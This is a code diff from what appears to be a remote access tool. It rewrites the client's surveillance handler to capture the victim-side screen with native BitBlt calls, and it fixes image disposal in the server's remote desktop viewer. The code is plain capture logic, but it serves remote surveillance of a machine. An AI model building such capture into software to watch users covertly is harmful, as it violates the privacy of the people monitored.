diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs
index b04bf8e7..5287f501 100644
--- a/Client/Core/Commands/SurveillanceHandler.cs
+++ b/Client/Core/Commands/SurveillanceHandler.cs
@@ -62,7 +62,7 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
Bitmap desktop = null;
try
{
- desktop = RemoteDesktopHelper.GetDesktop(command.Monitor);
+ desktop = RemoteDesktopHelper.CaptureScreen(command.Monitor);
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
ImageLockMode.ReadWrite, desktop.PixelFormat);
diff --git a/Client/Core/Helper/RemoteDesktopHelper.cs b/Client/Core/Helper/RemoteDesktopHelper.cs
index 0ab5e864..d80e3425 100644
--- a/Client/Core/Helper/RemoteDesktopHelper.cs
+++ b/Client/Core/Helper/RemoteDesktopHelper.cs
@@ -1,20 +1,33 @@
-using System.Drawing;
-using System.Drawing.Imaging;
+using System;
+using System.Drawing;
using System.Windows.Forms;
+using xClient.Core.Utilities;
namespace xClient.Core.Helper
{
public static class RemoteDesktopHelper
{
- public static Bitmap GetDesktop(int screenNumber)
+ private const int SRCCOPY = 0x00CC0020;
+
+ public static Bitmap CaptureScreen(int screenNumber)
{
- var bounds = GetBounds(screenNumber);
- var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
- using (Graphics graph = Graphics.FromImage(screenshot))
+ Rectangle bounds = GetBounds(screenNumber);
+ IntPtr desktopHandle = NativeMethods.GetDesktopWindow();
+ Bitmap screen = new Bitmap(bounds.Width, bounds.Height);
+
+ using (Graphics g = Graphics.FromImage(screen))
{
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
- return screenshot;
+ IntPtr destDeviceContext = g.GetHdc();
+ IntPtr srcDeviceContext = NativeMethods.GetWindowDC(desktopHandle);
+
+ NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
+ bounds.Y, SRCCOPY);
+ NativeMethods.ReleaseDC(desktopHandle, srcDeviceContext);
+
+ g.ReleaseHdc(destDeviceContext);
}
+
+ return screen;
}
public static Rectangle GetBounds(int screenNumber)
diff --git a/Client/Core/Utilities/NativeMethods.cs b/Client/Core/Utilities/NativeMethods.cs
index 94813836..ef6f6b0f 100644
--- a/Client/Core/Utilities/NativeMethods.cs
+++ b/Client/Core/Utilities/NativeMethods.cs
@@ -18,6 +18,36 @@ public static class NativeMethods
[DllImport("user32.dll")]
public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
+ [DllImport("user32.dll", SetLastError = false)]
+ public static extern IntPtr GetDesktopWindow();
+
+ [DllImport("user32.dll")]
+ public static extern IntPtr GetWindowDC(IntPtr hWnd);
+
+ [DllImport("user32.dll")]
+ public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
+
+ ///
+ /// Performs a bit-block transfer of the color data corresponding to a
+ /// rectangle of pixels from the specified source device context into
+ /// a destination device context.
+ ///
+ /// Handle to the destination device context.
+ /// The leftmost x-coordinate of the destination rectangle (in pixels).
+ /// The topmost y-coordinate of the destination rectangle (in pixels).
+ /// The width of the source and destination rectangles (in pixels).
+ /// The height of the source and the destination rectangles (in pixels).
+ /// Handle to the source device context.
+ /// The leftmost x-coordinate of the source rectangle (in pixels).
+ /// The topmost y-coordinate of the source rectangle (in pixels).
+ /// A raster-operation code.
+ ///
+ /// true if the operation succeedes, false otherwise. To get extended error information, call .
+ ///
+ [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
+
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs
index 31ad1d4d..e582d481 100644
--- a/Server/Forms/FrmRemoteDesktop.cs
+++ b/Server/Forms/FrmRemoteDesktop.cs
@@ -93,7 +93,13 @@ public void UpdateImage(Bitmap bmp, bool cloneBitmap = false)
CountFps();
picDesktop.Invoke((MethodInvoker) delegate
{
+ // get old image to dispose it correctly
+ var oldImage = picDesktop.Image;
+
picDesktop.Image = cloneBitmap ? (Bitmap) bmp.Clone() : bmp;
+
+ if (oldImage != null)
+ oldImage.Dispose();
});
}
catch (InvalidOperationException)